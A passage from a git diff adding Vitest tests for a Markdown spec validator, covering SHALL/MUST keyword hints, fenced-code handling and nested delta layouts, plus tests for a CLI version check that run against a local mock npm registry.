found" about a file it just named. + expect(report.issues.some(i => i.message.includes('No deltas found'))).toBe(false); + }); + + it('should accept a capability folder that is literally named spec.md', async () => { + const changeDir = path.join(testDir, 'test-change-spec-md-folder'); + const specsDir = path.join(changeDir, 'specs', 'spec.md'); + await fs.mkdir(specsDir, { recursive: true }); + + const deltaSpec = `## ADDED Requirements + +### Requirement: Request metrics +The system SHALL record request metrics. + +#### Scenario: Request is counted +- **WHEN** a request completes +- **THEN** a counter is incremented`; + + await fs.writeFile(path.join(specsDir, 'spec.md'), deltaSpec); + + const validator = new Validator(true); + const report = await validator.validateChangeDeltaSpecs(changeDir); + + // specs/spec.md is a directory here, so nothing is dropped by the merge. + expect(report.valid).toBe(true); + expect(report.summary.errors).toBe(0); + }); + + it('should still validate a nested capability layout', async () => { + const changeDir = path.join(testDir, 'test-change-nested-delta'); + const specsDir = path.join(changeDir, 'specs', 'platform', 'metrics'); + await fs.mkdir(specsDir, { recursive: true }); + + const deltaSpec = `## ADDED Requirements + +### Requirement: Request metrics +The system SHALL record request metrics. + +#### Scenario: Request is counted +- **WHEN** a request completes +- **THEN** a counter is incremented`; + + await fs.writeFile(path.join(specsDir, 'spec.md'), deltaSpec); + + const validator = new Validator(true); + const report = await validator.validateChangeDeltaSpecs(changeDir); + + expect(report.valid).toBe(true); + expect(report.summary.errors).toBe(0); + }); + + it('should fail strict validation when requirement text lacks SHALL/MUST', async () => { const changeDir = path.join(testDir, 'test-change-3'); const specsDir = path.join(changeDir, 'specs', 'test-spec'); await fs.mkdir(specsDir, { recursive: true }); @@ -527,12 +667,141 @@ The system will log all events. const specPath = path.join(specsDir, 'spec.md'); await fs.writeFile(specPath, deltaSpec); + const normalReport = await new Validator().validateChangeDeltaSpecs(changeDir); + expect(normalReport.valid).toBe(true); + expect(normalReport.summary.errors).toBe(0); + expect(normalReport.summary.warnings).toBe(1); + + const report = await new Validator(true).validateChangeDeltaSpecs(changeDir); + expect(report.valid).toBe(false); + expect(report.summary.errors).toBe(0); + expect(report.summary.warnings).toBe(1); + expect( + report.issues.some( + i => i.level === 'WARNING' && i.message.includes('should contain SHALL or MUST') + ) + ).toBe(true); + }); + + it.each(['ADDED', 'MODIFIED'] as const)( + 'should keep missing requirement text as an error for %s requirements', + async operation => { + const changeDir = path.join(testDir, `test-change-missing-${operation.toLowerCase()}-text`); + const specsDir = path.join(changeDir, 'specs', 'test-spec'); + await fs.mkdir(specsDir, { recursive: true }); + await fs.writeFile( + path.join(specsDir, 'spec.md'), + `# Test Spec + +## ${operation} Requirements + +### Requirement: Logging Feature + +#### Scenario: Event occurs +- **WHEN** an event occurs +- **THEN** it is logged` + ); + + const report = await new Validator().validateChangeDeltaSpecs(changeDir); + expect(report.valid).toBe(false); + expect(report.summary.errors).toBe(1); + expect(report.summary.warnings).toBe(0); + expect(report.issues).toContainEqual( + expect.objectContaining({ + level: 'ERROR', + message: expect.stringContaining('missing requirement text'), + }) + ); + } + ); + + it('should hint the author when ADDED requirement only has SHALL/MUST in the header', async () => { + const changeDir = path.join(testDir, 'test-change-shall-in-header-added'); + const specsDir = path.join(changeDir, 'specs', 'test-spec'); + await fs.mkdir(specsDir, { recursive: true }); + + const deltaSpec = `# Test Spec + +## ADDED Requirements + +### Requirement: The system SHALL log all errors +Error handling logic goes here. + +#### Scenario: Error occurs +**Given** an error +**When** it occurs +**Then** it is logged`; + + const specPath = path.join(specsDir, 'spec.md'); + await fs.writeFile(specPath, deltaSpec); + const validator = new Validator(true); const report = await validator.validateChangeDeltaSpecs(changeDir); expect(report.valid).toBe(false); - expect(report.summary.errors).toBeGreaterThan(0); - expect(report.issues.some(i => i.message.includes('must contain SHALL or MUST'))).toBe(true); + const shallMessage = report.issues.find(i => i.message.includes('should contain SHALL or MUST')); + expect(shallMessage?.level).toBe('WARNING'); + expect(shallMessage?.message).toContain('not only in the header'); + expect(shallMessage?.message).toContain('### Requirement:'); + }); + + it('should hint the author when MODIFIED requirement only has SHALL/MUST in the header', async () => { + const changeDir = path.join(testDir, 'test-change-shall-in-header-modified'); + const specsDir = path.join(changeDir, 'specs', 'test-spec'); + await fs.mkdir(specsDir, { recursive: true }); + + const deltaSpec = `# Test Spec + +## MODIFIED Requirements + +### Requirement: The system MUST validate user input +Please describe how validation should work here. + +#### Scenario: Invalid input +**Given** invalid input +**When** validation runs +**Then** an error surfaces`; + + const specPath = path.join(specsDir, 'spec.md'); + await fs.writeFile(specPath, deltaSpec); + + const validator = new Validator(true); + const report = await validator.validateChangeDeltaSpecs(changeDir); + + expect(report.valid).toBe(false); + const shallMessage = report.issues.find(i => i.message.includes('should contain SHALL or MUST')); + expect(shallMessage?.level).toBe('WARNING'); + expect(shallMessage?.message).toContain('not only in the header'); + expect(shallMessage?.message).toContain('### Requirement:'); + }); + + it('should keep generic SHALL/MUST guidance when neither header nor body contain the keyword', async () => { + const changeDir = path.join(testDir, 'test-change-shall-nowhere'); + const specsDir = path.join(changeDir, 'specs', 'test-spec'); + await fs.mkdir(specsDir, { recursive: true }); + + const deltaSpec = `# Test Spec + +## ADDED Requirements + +### Requirement: Logging Feature +The system will log all events. + +#### Scenario: Event occurs +**Given** an event +**When** it occurs +**Then** it is logged`; + + const specPath = path.join(specsDir, 'spec.md'); + await fs.writeFile(specPath, deltaSpec); + + const validator = new Validator(true); + const report = await validator.validateChangeDeltaSpecs(changeDir); + + expect(report.valid).toBe(false); + const shallMessage = report.issues.find(i => i.message.includes('should contain SHALL or MUST')); + expect(shallMessage?.level).toBe('WARNING'); + expect(shallMessage?.message).not.toContain('not only in the header'); }); it('should handle requirements without metadata fields', async () => { @@ -562,6 +831,76 @@ The system SHALL implement this feature. expect(report.summary.errors).toBe(0); }); + it('does not flag requirement headers/scenarios inside fenced code blocks', async () => { + const changeDir = path.join(testDir, 'test-change-fenced-example'); + const specsDir = path.join(changeDir, 'specs', 'test-spec'); + await fs.mkdir(specsDir, { recursive: true }); + + const deltaSpec = `# Test Spec + +## ADDED Requirements + +### Requirement: Documentation Generator +The system SHALL render a delta example in its output. + +#### Scenario: Renders an example +**Given** a template +**When** documentation is generated +**Then** the following snippet is produced: + +\`\`\`markdown +### Requirement: Example only +#### Scenario: Example scenario +\`\`\` +`; + + const specPath = path.join(specsDir, 'spec.md'); + await fs.writeFile(specPath, deltaSpec); + + const validator = new Validator(true); + const report = await validator.validateChangeDeltaSpecs(changeDir); + + // The fenced "### Requirement: Example only" must not be parsed as a + // second (phantom) requirement, which previously produced a spurious + // "missing requirement text" error. + expect(report.valid).toBe(true); + expect(report.summary.errors).toBe(0); + expect(report.issues.some(i => i.message.includes('Example only'))).toBe(false); + }); + + it('does not count scenario headers inside fenced code blocks toward the required scenario count', async () => { + const changeDir = path.join(testDir, 'test-change-fenced-scenario-only'); + const specsDir = path.join(changeDir, 'specs', 'test-spec'); + await fs.mkdir(specsDir, { recursive: true }); + + const deltaSpec = `# Test Spec + +## ADDED Requirements + +### Requirement: Documentation Generator +The system SHALL render a delta example in its output. + +\`\`\`markdown +#### Scenario: Example scenario +\`\`\` +`; + + const specPath = path.join(specsDir, 'spec.md'); + await fs.writeFile(specPath, deltaSpec); + + const validator = new Validator(true); + const report = await validator.validateChangeDeltaSpecs(changeDir); + + // The only "#### Scenario:" lives inside a fenced code block, so it must + // not count toward the scenario requirement; the validator must still + // flag the requirement as missing a scenario. + expect(report.valid).toBe(false); + expect(report.summary.errors).toBeGreaterThan(0); + expect( + report.issues.some(i => i.message.includes('must include at least one scenario')) + ).toBe(true); + }); + it('should treat delta headers case-insensitively', async () => { const changeDir = path.join(testDir, 'test-change-mixed-case'); const specsDir = path.join(changeDir, 'specs', 'test-spec'); @@ -590,5 +929,548 @@ The system MUST support mixed case delta headers. expect(report.summary.warnings).toBe(0); expect(report.summary.info).toBe(0); }); + + // #1182b — delta discovery recurses the nested multi-area layout. + it('discovers and validates deltas in a nested specs/<area>/<capability> layout (#1182b)', async () => { + const changeDir = path.join(testDir, 'test-change-nested'); + const nestedDir = path.join(changeDir, 'specs', 'area-one', 'cap-a'); + await fs.mkdir(nestedDir, { recursive: true }); + await fs.writeFile( + path.join(nestedDir, 'spec.md'), + `## ADDED Requirements\n\n### Requirement: Nested capability\nThe system SHALL support nested multi-area delta layouts.\n\n#### Scenario: Nested delta is discovered\n- **WHEN** validating a change with nested specs\n- **THEN** the delta is found and validated` + ); + + const report = await new Validator(true).validateChangeDeltaSpecs(changeDir); + expect(report.issues.some(i => i.message.includes('No delta sections found'))).toBe(false); + expect(report.issues.some(i => i.message.includes('No deltas found'))).toBe(false); + expect(report.valid).toBe(true); + }); + + it('still validates a single-level layout unchanged (#1182b control)', async () => { + const changeDir = path.join(testDir, 'test-change-onelevel'); + const oneLevelDir = path.join(changeDir, 'specs', 'cap-a'); + await fs.mkdir(oneLevelDir, { recursive: true }); + await fs.writeFile( + path.join(oneLevelDir, 'spec.md'), + `## ADDED Requirements\n\n### Requirement: One level capability\nThe system SHALL support a one-level layout.\n\n#### Scenario: One level delta\n- **WHEN** validating\n- **THEN** the delta is found` + ); + + const report = await new Validator(true).validateChangeDeltaSpecs(changeDir); + expect(report.valid).toBe(true); + expect(report.summary.errors).toBe(0); + }); + }); + + // #1156 — the SHALL/MUST body-keyword hint applies to main specs too, with the + // actionable sentence byte-identical to the change-delta path, emitted once. + describe('main-spec SHALL/MUST body-keyword hint (#1156)', () => { + const ACTIONABLE_SENTENCE = + 'should contain SHALL or MUST in the requirement body, not only in the header. Move the SHALL/MUST statement to the line immediately after the "### Requirement: ..." header. (RFC 2119 best practice for English specs)'; + + const buildSpec = (requirementBlock: string): string => + [ + '# Demo Spec', + '', + '## Purpose', + 'A purpose long enough to satisfy the validator length threshold for tests.', + '', + '## Requirements', + '', + requirementBlock, + ].join('\n'); + + const shallIssues = (issues: { message: string }[]) => + issues.filter(i => i.message.includes('SHALL or MUST')); + + it('emits the targeted hint when the keyword is in the header only (with a body line)', async () => { + const content = buildSpec( + '### Requirement: The system SHALL log\nLogging happens here.\n\n#### Scenario: S\n- **WHEN** x\n- **THEN** y' + ); + const report = await new Validator().validateSpecContent('demo', content); + const issues = shallIssues(report.issues); + expect(issues).toHaveLength(1); // exactly one, no duplicate generic + expect(issues[0].message).toContain('not only in the header'); + expect(issues[0].message).toContain(ACTIONABLE_SENTENCE); + }); + + it('uses an actionable sentence byte-identical to the change-delta message', async () => { + const block = + '### Requirement: The system SHALL log\nLogging happens here.\n\n#### Scenario: S\n- **WHEN** x\n- **THEN** y'; + + const specReport = await new Validator().validateSpecContent('demo', buildSpec(block)); + const specMsg = shallIssues(specReport.issues)[0].message; + + const changeDir = path.join(testDir, 'change-parity-sentence'); + const deltaDir = path.join(changeDir, 'specs', 'cap'); + await fs.mkdir(deltaDir, { recursive: true }); + await fs.writeFile(path.join(deltaDir, 'spec.md'), `## ADDED Requirements\n\n${block}`); + const deltaReport = await new Validator().validateChangeDeltaSpecs(changeDir); + const deltaMsg = shallIssues(deltaReport.issues)[0].message; + + // Same actionable sentence; only the leading prefix differs. + expect(specMsg.endsWith(ACTIONABLE_SENTENCE)).toBe(true); + expect(deltaMsg.endsWith(ACTIONABLE_SENTENCE)).toBe(true); + expect(specMsg.startsWith('Requirement "The system SHALL log"')).toBe(true); + expect(deltaMsg.startsWith('ADDED "The system SHALL log"')).toBe(true); + }); + + it('keeps generic missing-keyword guidance when neither header nor body has the keyword', async () => { + const content = buildSpec( + '### Requirement: Logging\nThe system will log all events.\n\n#### Scenario: S\n- **WHEN** x\n- **THEN** y' + ); + const report = await new Validator().validateSpecContent('demo', content); + const issues = shallIssues(report.issues); + expect(issues).toHaveLength(1); + expect(issues[0].message).not.toContain('not only in the header'); + }); + + it('allows non-English requirement text in normal mode and warns about English keywords', async () => { + const content = buildSpec( + '### Requirement: 事件记录\n系统必须记录应用程序中的重要事件。\n\n#### Scenario: 事件发生\n- **WHEN** 应用程序生成重要事件\n- **THEN** 系统保存该事件' + ); + const report = await new Validator().validateSpecContent('demo', content); + const issues = report.issues.filter(i => i.message.includes('SHALL or MUST')); + + expect(report.valid).toBe(true); + expect(report.summary.errors).toBe(0); + expect(issues).toHaveLength(1); + expect(issues[0].level).toBe('WARNING'); + expect(issues[0].message).toContain('best practice for English specs'); + }); + + it('does not flag a requirement whose body line contains the keyword', async () => { + const content = buildSpec( + '### Requirement: Logging\nThe system SHALL log all events.\n\n#### Scenario: S\n- **WHEN** x\n- **THEN** y' + ); + const report = await new Validator().validateSpecContent('demo', content); + expect(shallIssues(report.issues)).toHaveLength(0); + }); + + it('rejects a lowercase shall/must in the body (matching the delta path)', async () => { + const content = buildSpec( + '### Requirement: Logging\nthe system shall log all events.\n\n#### Scenario: S\n- **WHEN** x\n- **THEN** y' + ); + const report = await new Validator().validateSpecContent('demo', content); + expect(shallIssues(report.issues)).toHaveLength(1); + }); + + it('emits the hint for a header-only requirement with no body line (intended additive change)', async () => { + const content = buildSpec( + '### Requirement: The system MUST be available\n\n#### Scenario: S\n- **WHEN** x\n- **THEN** y' + ); + const report = await new Validator().validateSpecContent('demo', content); + const issues = shallIssues(report.issues); + expect(report.valid).toBe(false); + expect(report.summary.errors).toBe(1); + expect(report.summary.warnings).toBe(0); + expect(issues).toHaveLength(1); + expect(issues[0].level).toBe('ERROR'); + expect(issues[0].message).toContain('not only in the header'); + }); + + it('does not subject RENAMED requirements to the hint (byte-for-byte unchanged)', async () => { + const changeDir = path.join(testDir, 'change-renamed'); + const deltaDir = path.join(changeDir, 'specs', 'cap'); + await fs.mkdir(deltaDir, { recursive: true }); + await fs.writeFile( + path.join(deltaDir, 'spec.md'), + '## RENAMED Requirements\n\n- FROM: `### Requirement: Old name`\n- TO: `### Requirement: The system SHALL do the new thing`\n' + ); + const report = await new Validator().validateChangeDeltaSpecs(changeDir); + expect(report.issues.some(i => i.message.includes('not only in the header'))).toBe(false); + }); + }); + + describe('parser reading fidelity (#361, #418, #312, fenced scenario, #498)', () => { + async function writeChangeDelta(name: string, deltaSpec: string): Promise<string> { + const changeDir = path.join(testDir, name); + const specsDir = path.join(changeDir, 'specs', 'test-spec'); + await fs.mkdir(specsDir, { recursive: true }); + await fs.writeFile(path.join(specsDir, 'spec.md'), deltaSpec); + return changeDir; + } + + async function writeSpec(name: string, specContent: string): Promise<string> { + const specPath = path.join(testDir, `${name}.md`); + await fs.writeFile(specPath, specContent); + return specPath; + } + + it('#361: a normative keyword on a wrapped body line passes both change and spec', async () => { + const delta = `# Test Spec + +## ADDED Requirements + +### Requirement: Wrapped keyword +The system performs the described behavior and it +continues onto a second line where SHALL appears in full. + +#### Scenario: Wrapped +**Given** a request +**When** it is handled +**Then** the behavior occurs`; + + const changeDir = await writeChangeDelta('fidelity-361', delta); + const changeReport = await new Validator(true).validateChangeDeltaSpecs(changeDir); + expect(changeReport.valid).toBe(true); + expect(changeReport.summary.errors).toBe(0); + + const spec = `# Test Spec + +## Purpose +This spec exercises a normative keyword wrapped onto a second line. + +## Requirements + +### Requirement: Wrapped keyword +The system performs the described behavior and it +continues onto a second line where SHALL appears in full. + +#### Scenario: Wrapped +**Given** a request +**When** it is handled +**Then** the behavior occurs`; + + const specPath = await writeSpec('fidelity-361-spec', spec); + const specReport = await new Validator(true).validateSpec(specPath); + expect(specReport.valid).toBe(true); + expect(specReport.summary.errors).toBe(0); + }); + + it('#418: metadata before the description passes validate <spec> (matching <change>)', async () => { + const spec = `# Test Spec + +## Purpose +This spec exercises metadata fields preceding the requirement description. + +## Requirements + +### Requirement: Metadata first +**ID**: REQ-FILE-001 +**Priority**: P1 (High) +The system MUST persist the uploaded file. + +#### Scenario: Persisted +**Given** an uploaded file +**When** the request completes +**Then** the file is stored`; + + const specPath = await writeSpec('fidelity-418-spec', spec); + const specReport = await new Validator(true).validateSpec(specPath); + expect(specReport.valid).toBe(true); + expect(specReport.summary.errors).toBe(0); + }); + + it('#312: a fenced block before the prose line passes both change and spec', async () => { + const delta = `# Test Spec + +## ADDED Requirements + +### Requirement: Fence first +\`\`\`bash +# this is a shell comment, not the requirement text +echo hello +\`\`\` +The system SHALL handle fenced examples before the prose line. + +#### Scenario: Handled +**Given** a fenced example +**When** the requirement is read +**Then** the prose line is the requirement text`; + + const changeDir = await writeChangeDelta('fidelity-312', delta); + const changeReport = await new Validator(true).validateChangeDeltaSpecs(changeDir); + expect(changeReport.valid).toBe(true); + expect(changeReport.summary.errors).toBe(0); + }); + + it('fenced scenario: a #### Scenario inside a fence does not count (change matches spec)', async () => { + const delta = `# Test Spec + +## ADDED Requirements + +### Requirement: Fenced scenario only +The system SHALL do something real. + +\`\`\`markdown +#### Scenario: not a real scenario +- **WHEN** a reader studies the example +- **THEN** it stays inside the fence +\`\`\``; + + const changeDir = await writeChangeDelta('fidelity-fenced-scenario', delta); + const changeReport = await new Validator(true).validateChangeDeltaSpecs(changeDir); + + // The only scenario is fenced, so the requirement has zero real scenarios + // and must fail — the same verdict validate <spec> already gives. + expect(changeReport.valid).toBe(false); + expect( + changeReport.issues.some(i => i.message.includes('must include at least one scenario')) + ).toBe(true); + }); + + it('#498: a stray ### divider yields an INFO note and does not change valid (even strict)', async () => { + const delta = `# Test Spec + +## ADDED Requirements + +### Documentation Requirements + +### Requirement: Real requirement +The system SHALL do the real thing. + +#### Scenario: Works +**Given** a request +**When** it is handled +**Then** the behavior occurs`; + + const changeDir = await writeChangeDelta('fidelity-498', delta); + const report = await new Validator(true).validateChangeDeltaSpecs(changeDir); + + // INFO surfaces the stray header but never fails validation. + expect(report.valid).toBe(true); + expect(report.summary.errors).toBe(0); + const info = report.issues.find( + i => i.level === 'INFO' && i.message.includes('Documentation Requirements') + ); + expect(info).toBeDefined(); + expect(report.summary.info).toBeGreaterThan(0); + }); + + it('guard: a single-line requirement is read byte-for-byte as before', async () => { + const delta = `# Test Spec + +## ADDED Requirements + +### Requirement: Single line +The system SHALL remain unchanged for single-line bodies. + +#### Scenario: Unchanged +**Given** a single-line requirement +**When** it is validated +**Then** nothing changes`; + + const changeDir = await writeChangeDelta('fidelity-single-line', delta); + const report = await new Validator(true).validateChangeDeltaSpecs(changeDir); + expect(report.valid).toBe(true); + expect(report.summary.errors).toBe(0); + expect(report.summary.info).toBe(0); + }); + + it('predicate agrees across readers: a SHALL substring inside a word is not a keyword', async () => { + // "MARSHALL" contains the substring SHALL but is not a whole-word normative + // keyword. Both readers must reject it identically (the shared predicate). + const body = `### Requirement: Marshalling +The MARSHALL coordinates parade logistics. + +#### Scenario: Coordinated +**Given** a parade +**When** it begins +**Then** logistics are coordinated`; + + const changeDir = await writeChangeDelta('fidelity-predicate', `# Test Spec\n\n## ADDED Requirements\n\n${body}`); + const changeReport = await new Validator(true).validateChangeDeltaSpecs(changeDir); + expect(changeReport.valid).toBe(false); + + const spec = `# Test Spec + +## Purpose +This spec checks that a SHALL substring inside a word is not treated as a keyword. + +## Requirements + +${body}`; + const specPath = await writeSpec('fidelity-predicate-spec', spec); + const specReport = await new Validator(true).validateSpec(specPath); + expect(specReport.valid).toBe(false); + }); + + it('guard: a metadata-only body without a keyword still fails validation', async () => { + const delta = `# Test Spec + +## ADDED Requirements + +### Requirement: Metadata only +**ID**: REQ-META-001 +**Priority**: P1 (High) + +#### Scenario: Present +**Given** a metadata-only body +**When** it is validated +**Then** validation fails`; + + const changeDir = await writeChangeDelta('fidelity-metadata-only', delta); + const report = await new Validator(true).validateChangeDeltaSpecs(changeDir); + expect(report.valid).toBe(false); + // The metadata IS the body when nothing else remains, so the failure is + // the missing keyword, not missing text. + expect( + report.issues.some( + i => i.level === 'WARNING' && i.message.includes('should contain SHALL or MUST') + ) + ).toBe(true); + }); + + it('a requirement written entirely as **Constraint**: metadata keeps its MUST (change and spec)', async () => { + const body = `### Requirement: Constraint style +**Constraint**: The system MUST respond within the configured deadline. + +#### Scenario: Deadline honored +**Given** a configured deadline +**When** a request is handled +**Then** the response arrives in time`; + + const changeDir = await writeChangeDelta('fidelity-constraint-only', `# Test Spec\n\n## ADDED Requirements\n\n${body}`); + const changeReport = await new Validator(true).validateChangeDeltaSpecs(changeDir); + expect(changeReport.valid).toBe(true); + expect(changeReport.summary.errors).toBe(0); + + const spec = `# Test Spec + +## Purpose +This spec exercises a requirement whose whole body is a metadata-style line. + +## Requirements + +${body}`; + const specPath = await writeSpec('fidelity-constraint-only-spec', spec); + const specReport = await new Validator(true).validateSpec(specPath); + expect(specReport.valid).toBe(true); + expect(specReport.summary.errors).toBe(0); + }); + + it('canonical empty bodies keep the body-keyword hint on both paths after #1280', async () => { + const body = `### Requirement: The tool MUST support header-only requirements + +#### Scenario: Header only +**Given** a requirement with no body text +**When** it is validated +**Then** both paths ask for the keyword in the body`; + + const changeDir = await writeChangeDelta('fidelity-empty-body', `# Test Spec\n\n## ADDED Requirements\n\n${body}`); + const changeReport = await new Validator(true).validateChangeDeltaSpecs(changeDir); + expect(changeReport.valid).toBe(false); + expect( + changeReport.issues.some(i => i.message.includes('not only in the header')) + ).toBe(true); + + const spec = `# Test Spec + +## Purpose +This spec exercises the shared body extraction without using the display fallback for validation. + +## Requirements + +${body}`; + const specPath = await writeSpec('fidelity-empty-body-spec', spec); + const specReport = await new Validator(true).validateSpec(specPath); + expect(specReport.valid).toBe(false); + expect( + specReport.issues.some(i => i.message.includes('not only in the header')) + ).toBe(true); + }); + + it('a stray ### divider ends the requirement body: a MUST in its notes does not count', async () => { + const delta = `# Test Spec + +## ADDED Requirements + +### Requirement: Divider absorbed +The system performs the described behavior without a keyword. + +### Background +These notes explain that the system MUST NOT be read as requirement text. + +#### Scenario: Bounded +**Given** a stray divider +**When** the requirement is read +**Then** the body stops at the divider`; + + const changeDir = await writeChangeDelta('fidelity-divider-body', delta); + const report = await new Validator(true).validateChangeDeltaSpecs(changeDir); + + // The body ends at "### Background", so the MUST in the notes is not + // seen and the requirement fails the keyword check (as it did on main) — + // and the skipped divider is surfaced as INFO. + expect(report.valid).toBe(false); + expect( + report.issues.some( + i => i.level === 'WARNING' && i.message.includes('should contain SHALL or MUST') + ) + ).toBe(true); + expect( + report.issues.some(i => i.level === 'INFO' && i.message.includes('"### Background"')) + ).toBe(true); + }); + + it('a nameless "### Requirement:" header gets a dedicated INFO message', async () => { + const delta = `# Test Spec + +## ADDED Requirements + +### Requirement: + +### Requirement: Real requirement +The system SHALL do the real thing. + +#### Scenario: Works +**Given** a request +**When** it is handled +**Then** the behavior occurs`; + + const changeDir = await writeChangeDelta('fidelity-nameless', delta); + const report = await new Validator(true).validateChangeDeltaSpecs(changeDir); + + expect(report.valid).toBe(true); + const info = report.issues.find( + i => i.level === 'INFO' && i.message.includes('missing a requirement name') + ); + expect(info).toBeDefined(); + expect(info!.message).not.toContain('Requirement: Requirement:'); + }); + + it('the skipped-header INFO reflects the reader: a fenced divider is not reported', async () => { + const delta = `# Test Spec + +## ADDED Requirements + +### Requirement: Fence with divider example +The system SHALL treat fenced headers as content. + +\`\`\`markdown +### Not A Real Divider +\`\`\` + +#### Scenario: Fenced +**Given** a fenced example containing a level-3 header +**When** the delta is validated +**Then** no INFO note is emitted for it`; + + const changeDir = await writeChangeDelta('fidelity-fenced-divider', delta); + const report = await new Validator(true).validateChangeDeltaSpecs(changeDir); + + expect(report.valid).toBe(true); + expect(report.summary.info).toBe(0); + }); + + it('any #### header counts as a scenario on the delta path (deliberate spec-path parity)', async () => { + const delta = `# Test Spec + +## ADDED Requirements + +### Requirement: Notes as scenario +The system SHALL accept any level-4 child, matching the spec path. + +#### Notes +The spec path treats every level-4 child of a requirement as a scenario.`; + + const changeDir = await writeChangeDelta('fidelity-h4-parity', delta); + const report = await new Validator(true).validateChangeDeltaSpecs(changeDir); + + // The spec path (parseScenarios) counts every level-4 child with content + // as a scenario, so the delta counter deliberately does the same. + expect(report.valid).toBe(true); + expect(report.summary.errors).toBe(0); + }); }); }); diff --git a/test/core/version-check.test.ts b/test/core/version-check.test.ts new file mode 100644 index 0000000000..585b6d375b --- /dev/null +++ b/test/core/version-check.test.ts @@ -0,0 +1,908 @@ +import { describe, it, expect, beforeEach, afterEach, vi } from 'vitest'; +import fs from 'fs'; +import http from 'http'; +import os from 'os'; +import path from 'path'; +import { execFile } from 'child_process'; +import { createRequire } from 'module'; +import { + compareVersions, + getAvailableCliUpdate, + registryUrl, + getInstallDir, + isProjectLocalInstall, + isEphemeralRunnerInstall, + isNpmGlobalInstall, + isSourceCheckout, + detectPackageManager, + npmGlobalRoots, + npmPrefixFromInstallDir, + upgradedBinPath, + buildUpgradeCommandLines, + canSelfUpgrade, + shouldOfferUpgrade, + offerCliUpgrade, + readCliVersion, + rerunUpdateWithUpgradedCli, + buildCliUpdateLines, + displayCliUpdateNote, +} from '../../src/core/version-check.js'; + +const require = createRequire(import.meta.url); +const { version: OPENSPEC_VERSION } = require('../../package.json'); + +// Resolved so the fixtures carry a drive letter on Windows, where an +// unresolved POSIX path can never prefix-match a resolved one. +const PROJECT_ROOT = path.resolve(path.join('tmp-fixture', 'proj')); +const GLOBAL_ROOT = path.resolve(path.join('tmp-fixture', 'global')); +const HOME_ROOT = path.resolve(path.join('tmp-fixture', 'home')); + +function bumpMajor(version: string): string { + const major = Number.parseInt(version.split('.')[0] ?? '0', 10); + return `${major + 1}.0.0`; +} + +describe('compareVersions', () => { + it('orders release versions numerically', () => { + expect(compareVersions('1.7.0', '1.6.0')).toBe(1); + expect(compareVersions('1.6.0', '1.7.0')).toBe(-1); + expect(compareVersions('1.6.0', '1.6.0')).toBe(0); + expect(compareVersions('1.10.0', '1.9.0')).toBe(1); + expect(compareVersions('2.0.0', '1.99.99')).toBe(1); + }); + + it('sorts prereleases below their release', () => { + expect(compareVersions('1.7.0-beta.1', '1.7.0')).toBe(-1); + expect(compareVersions('1.7.0', '1.7.0-beta.1')).toBe(1); + expect(compareVersions('1.7.0-beta.1', '1.6.0')).toBe(1); + }); + + it('compares prerelease identifiers per SemVer', () => { + expect(compareVersions('1.7.0-beta.10', '1.7.0-beta.2')).toBe(1); + expect(compareVersions('1.7.0-beta.2', '1.7.0-beta.10')).toBe(-1); + expect(compareVersions('1.7.0-beta.2', '1.7.0-beta.2')).toBe(0); + // Numeric identifiers rank below alphanumeric ones. + expect(compareVersions('1.7.0-1', '1.7.0-alpha')).toBe(-1); + // A longer identifier list wins an otherwise equal comparison. + expect(compareVersions('1.7.0-beta.1.1', '1.7.0-beta.1')).toBe(1); + expect(compareVersions('1.7.0-alpha', '1.7.0-beta')).toBe(-1); + }); + + it('tolerates a leading v, build metadata, and partial versions', () => { + expect(compareVersions('v1.7.0', '1.6.0')).toBe(1); + expect(compareVersions('1.7', '1.7.0')).toBe(0); + expect(compareVersions('1.7.0+build.5', '1.7.0')).toBe(0); + }); +}); + +/** + * Every case runs against a local registry rather than a stubbed HTTP client. + * A mocked client cannot catch a request the real registry rejects — an Accept + * header that made npm answer 406 on this endpoint shipped past mocks once + * already — and it cannot prove that an opt-out sent nothing. + */ +describe('getAvailableCliUpdate', () => { + let server: http.Server; + let requests: Array<{ url: string; method: string; headers: http.IncomingHttpHeaders }>; + let respond: (res: http.ServerResponse) => void; + let originalEnv: Record<string, string | undefined>; + + const ENV_KEYS = [ + 'NODE_ENV', + 'CI', + 'OPENSPEC_NO_UPDATE_CHECK', + 'DO_NOT_TRACK', + 'OPENSPEC_TELEMETRY', + 'npm_config_registry', + ] as const; + + function serveVersion(version: unknown) { + respond = (res) => { + res.writeHead(200, { 'content-type': 'application/json' }); + res.end(JSON.stringify({ version })); + }; + } + + beforeEach(async () => { + requests = []; + serveVersion(bumpMajor(OPENSPEC_VERSION)); + + server = http.createServer((req, res) => { + requests.push({ url: req.url ?? '', method: req.method ?? '', headers: req.headers }); + respond(res); + }); + await new Promise<void>((resolve) => server.listen(0, '127.0.0.1', resolve)); + const port = (server.address() as { port: number }).port; + + originalEnv = Object.fromEntries(ENV_KEYS.map((key) => [key, process.env[key]])); + // The check is disabled under test/CI by design; opt back in to exercise it. + for (const key of ENV_KEYS) delete process.env[key]; + process.env.npm_config_registry = `http://127.0.0.1:${port}/`; + }); + + afterEach(async () => { + for (const [key, value] of Object.entries(originalEnv)) { + if (value === undefined) { + delete process.env[key]; + } else { + process.env[key] = value; + } + } + vi.restoreAllMocks(); + await new Promise<void>((resolve) => server.close(() => resolve())); + }); + + it('reports the published version when the installed CLI is behind', async () => { + await expect(getAvailableCliUpdate()).resolves.toBe(bumpMajor(OPENSPEC_VERSION)); + }); + + it('asks the dist-tag endpoint, and never with an Accept type it answers 406 for', async () => { + await getAvailableCliUpdate(); + + expect(requests).toHaveLength(1); + expect(requests[0].method).toBe('GET'); + expect(requests[0].url).toBe('/@fission-ai/openspec/latest'); + // npm serves application/vnd.npm.install-v1+json only on the full + // packument; asking for it here returns 406 and silently disables the + // whole check. + expect(requests[0].headers.accept ?? '').not.toContain('vnd.npm.install-v1+json'); + }); + + it('returns null when the installed CLI is current', async () => { + serveVersion(OPENSPEC_VERSION); + await expect(getAvailableCliUpdate()).resolves.toBeNull(); + }); + + it('returns null when the registry is unreachable', async () => { + await new Promise<void>((resolve) => server.close(() => resolve())); + await expect(getAvailableCliUpdate()).resolves.toBeNull(); + }); + + it('follows a redirect, as mirrors and corporate front-ends send', async () => { + let hop = 0; + respond = (res) => { + hop += 1; + if (hop === 1) { + res.writeHead(302, { location: '/elsewhere/@fission-ai/openspec/latest' }); + res.end(); + return; + } + res.writeHead(200, { 'content-type': 'application/json' }); + res.end(JSON.stringify({ version: bumpMajor(OPENSPEC_VERSION) })); + }; + + await expect(getAvailableCliUpdate()).resolves.toBe(bumpMajor(OPENSPEC_VERSION)); + expect(requests[1].url).toBe('/elsewhere/@fission-ai/openspec/latest'); + }); + + it('gives up rather than following a redirect loop', async () => 